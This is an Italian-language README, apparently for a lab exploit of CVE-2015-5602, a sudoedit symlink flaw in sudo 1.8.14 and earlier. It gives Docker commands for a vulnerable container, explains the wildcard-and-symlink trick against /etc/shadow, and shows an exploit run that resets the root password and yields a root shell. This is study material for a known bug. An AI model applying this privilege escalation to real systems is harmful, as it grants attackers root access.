
Sudo <= 1.8.14 Escalation locale dei privilegi e container vulnerabile
Sudo (su "do") consente a un amministratore di sistema di dare a determinati utenti (o gruppi di utenti) la possibilità di eseguire alcuni (o tutti) i comandi come root, registrando tutti i comandi e gli argomenti.
Per configurare un ambiente vulnerabile per il tuo test ti servirà Docker installato e basterà eseguire il seguente comando:
docker build -t privesc/cve-2015-5602 .
docker run --rm -it privesc/cve-2015-5602
E avvierà una shell interattiva con privilegi utente limitati.
Il bug è stato trovato in sudoedit, che non controlla il percorso completo se un carattere jolly viene usato due volte (es. /home/*/*/esc.txt), questo consente a un utente malintenzionato di sostituire il file reale esc.txt con un link simbolico verso una posizione diversa (es. /etc/shadow).
Sfruttare con successo questo problema può consentire a un attaccante di manipolare i file e di ottenere i privilegi di root sul sistema host tramite attacchi symlink.
Per sfruttare questo target basta eseguire:
./exploit.sh
Se stai usando questa immagine vulnerabile, puoi semplicemente eseguire:
user@1cc9cd901b07:~$ sudo -l
User user may run the following commands on 1cc9cd901b07:
(root) NOPASSWD: sudoedit /home/*/*/esc.txt
user@1cc9cd901b07:~$ ./exploit.sh
[+] CVE-2015-5602 exploit by t0kx
[+] Creating folder...
[+] Creating symlink
[+] Modify EDITOR...
[+] Change root password to: d03c09dc34c53657aff1f459a86b20ed
[+] Done
user@1cc9cd901b07:~$ su
Password:
root@1cc9cd901b07:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@1cc9cd901b07:/home/user#
Questo difetto è stato scoperto da Daniel Svartman.
Questo o il precedente programma è SOLO a scopo educativo. Non usarlo senza permesso. Si applica il disclaimer usuale, in particolare il fatto che io (t0kx) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o delle funzionalità fornite da questi programmi. L'autore o qualsiasi provider Internet non si assume NESSUNA responsabilità per il contenuto o l'uso improprio di questi programmi o di qualsiasi loro derivato. Utilizzando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash del sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di t0kx.